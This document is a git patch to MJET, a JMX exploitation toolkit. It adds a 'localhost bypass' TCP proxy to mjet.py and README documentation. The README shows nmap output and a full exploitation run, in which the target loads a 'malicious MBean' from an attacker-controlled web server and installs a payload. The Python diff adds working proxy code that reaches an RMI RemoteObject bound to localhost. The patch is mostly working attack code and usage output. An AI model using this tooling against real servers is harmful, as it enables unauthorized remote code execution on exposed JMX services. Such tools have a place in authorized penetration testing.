From ded94f67f134c7c7515bdf8453ec9bb6f3c2e076 Mon Sep 17 00:00:00 2001 From: h0ng10 Date: Sat, 28 Mar 2020 16:55:48 +0100 Subject: [PATCH] Merging Karsten Zeides localhost bypass --- README.md | 61 +++++++++++++++++++++++++++++++++++++++++++++---- mjet.py | 68 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 124 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 07b9736..a84eb71 100644 --- a/README.md +++ b/README.md @@ -28,12 +28,13 @@ Where * **MODE** - the script mode * **modeOptions** - the options for the mode selected -Optional arguments (if JMX authentication is enabled): +Authentication support (if JMX authentication is enabled): * **--jmxrole** - the username * **--jmxpassword** - the password -Optional argument (if target uses JMXMP): -* **--jmxmp** - no arguments +Other optional arguments: +* **--jmxmp** - Use JMX-MP (requires to load an additional JAR) +* **--localhost_bypass** - service port for the proxy in localhost bypass ### Modes and modeOptions @@ -281,7 +282,7 @@ MJET - MOGWAI LABS JMX Exploitation Toolkit ``` -### JMX message protocol +### JMX message protocol (JMXMP) support Download [opendmk_jmxremote_optional_jar-1.0-b01-ea.jar](https://mvnrepository.com/artifact/org.glassfish.external/opendmk_jmxremote_optional_jar/1.0-b01-ea) and move it into the jars directory. You need to add this directory to the classpath via `java -cp`. @@ -289,6 +290,56 @@ Download [opendmk_jmxremote_optional_jar-1.0-b01-ea.jar](https://mvnrepository.c java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass ``` +### Localhost bypass + +It sometimes happens that the RMI registry exposes a RemoteObject that is only accessible on localhost (example @127.0.0.1:45401). However, the port is open where the RemoteObject is accessible over the network. + +```bash +$ nmap -sVC 172.17.0.2 -p 9999,45401 + +Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET +Nmap scan report for 172.17.0.2 +Host is up (0.00035s latency). + +PORT STATE SERVICE VERSION +9999/tcp open java-rmi Java RMI Registry +| rmi-dumpregistry: +| jmxrmi +| implements javax.management.remote.rmi.RMIServer, +| extends +| java.lang.reflect.Proxy +| fields +| Ljava/lang/reflect/InvocationHandler; h +| java.rmi.server.RemoteObjectInvocationHandler +| @127.0.0.1:45401 +| extends +|_ java.rmi.server.RemoteObject +45401/tcp open rmiregistry Java RMI +``` +It is still possible to exploit this service by using the `--localhost_bypass ` option. In the following example, we use port 45401. This will start a TCP proxy on localhost and forward the traffic to the targetHost on the supplied port. +```bash +$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666 + +MJET - MOGWAI LABS JMX Exploitation Toolkit +=========================================== +[+] Starting webserver at port 6666 +[+] Using JMX RMI +[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi +[+] Started localhost proxy on port 45401 +[+] Connected: rmi://172.17.0.1 17 +[+] Loaded javax.management.loading.MLet +[+] Loading malicious MBean from http://172.17.0.1:6666 +[+] Invoking: javax.management.loading.MLet.getMBeansFromURL +172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 - +[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1 +[+] Changing default password... +[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload +[+] Successfully changed password +[+] Done +``` + +Reference: https://www.optiv.com/blog/exploiting-jmx-rmi + ## Contributing Feel free to contribute. @@ -300,7 +351,7 @@ Feel free to contribute. * **Ben Campbell** - *Several improvements* - [Meatballs1](https://github.com/Meatballs1) * **Arnim Rupp** - *Authentication support* * **Sebastian Kindler** - *Deserialization support* -* **Karsten Zeides** - *JMX Message Protocol support* [zeides](https://github.com/zeides) +* **Karsten Zeides** - *JMX Message Protocol support, localhost bypass* [zeides](https://github.com/zeides) See also the list of [contributors](https://github.com/mogwailabs/sjet/graphs/contributors) who participated in this project. diff --git a/mjet.py b/mjet.py index 84151fa..bc8294c 100644 --- a/mjet.py +++ b/mjet.py @@ -24,6 +24,9 @@ import random import string +# Socket to generate a proxy for localhost bypasses +import socket + authorSignature = 'MJET - MOGWAI LABS JMX Exploitation Toolkit\n' authorSignature += '===========================================' @@ -104,6 +107,9 @@ def connectToJMX(args): if "Authentication failed! Invalid username or password" in str(sys.exc_info()[1]): print "[-] Authentication failed! Invalid username or password" + if "Connection refused to host: 127.0.0.1" in str(sys.exc_info()): + print "[-] Connection refused to 127.0.0.1! Try the localhost_bypass" + sys.exit(-1) ########## @@ -429,6 +435,53 @@ def deserializationMode(args): ### /DESERIALIZATION MODE ### + +### Proxy for localhost bypass ### + + +def runProxy(target, port): + try: + # server socket + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.bind(("127.0.0.1", port)) + server.listen(1) + local_socket, address = server.accept() + + # client socket + remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + remote_socket.connect((target, port)) + except socket.error as e: + print "[-] Error: Failed to start localhost proxy with port " + str(port) + if "Address already in use" in e: + print "[-] Port " + str(port) + " is already in use!" + sys.exit(1) # kil the thread + + local_to_remote = Thread( + target=proxyHandler, args=(local_socket, remote_socket)) + local_to_remote.daemon = True + local_to_remote.start() + + remote_to_local = Thread( + target=proxyHandler, args=(remote_socket, local_socket)) + remote_to_local.daemon = True + remote_to_local.start() + + print "[+] Started localhost proxy on port " + str(port) + + + +def proxyHandler(source, dest): + while 1: + try: + data = source.recv(1024) + if not data: + break + dest.send(data) + except: + break + +### /Proxy for localhost bypass ### + ### PARSER ### # Map for clarity's sake @@ -478,6 +531,13 @@ def arg_deserialization_mode(args): parser.add_argument('--jmxpassword', help='remote JMX password') parser.add_argument('--jmxmp', action='store_true', help='Use JMX Message Protocol') +parser.add_argument('--localhost_bypass', + default=None, + dest="localhost_bypass_port", + action='store', + nargs='?', + type=int, + help='JMX RemoteObject port') subparsers = parser.add_subparsers( title='modes', description='valid modes', help='use ... MODE -h for help about specific modes') @@ -549,4 +609,12 @@ def arg_deserialization_mode(args): # Store the user args args = parser.parse_args() + +if args.localhost_bypass_port: + proxyServer = Thread( + target=runProxy, args=(args.targetHost, args.localhost_bypass_port)) + proxyServer.daemon = True + proxyServer.start() + + args.func(args)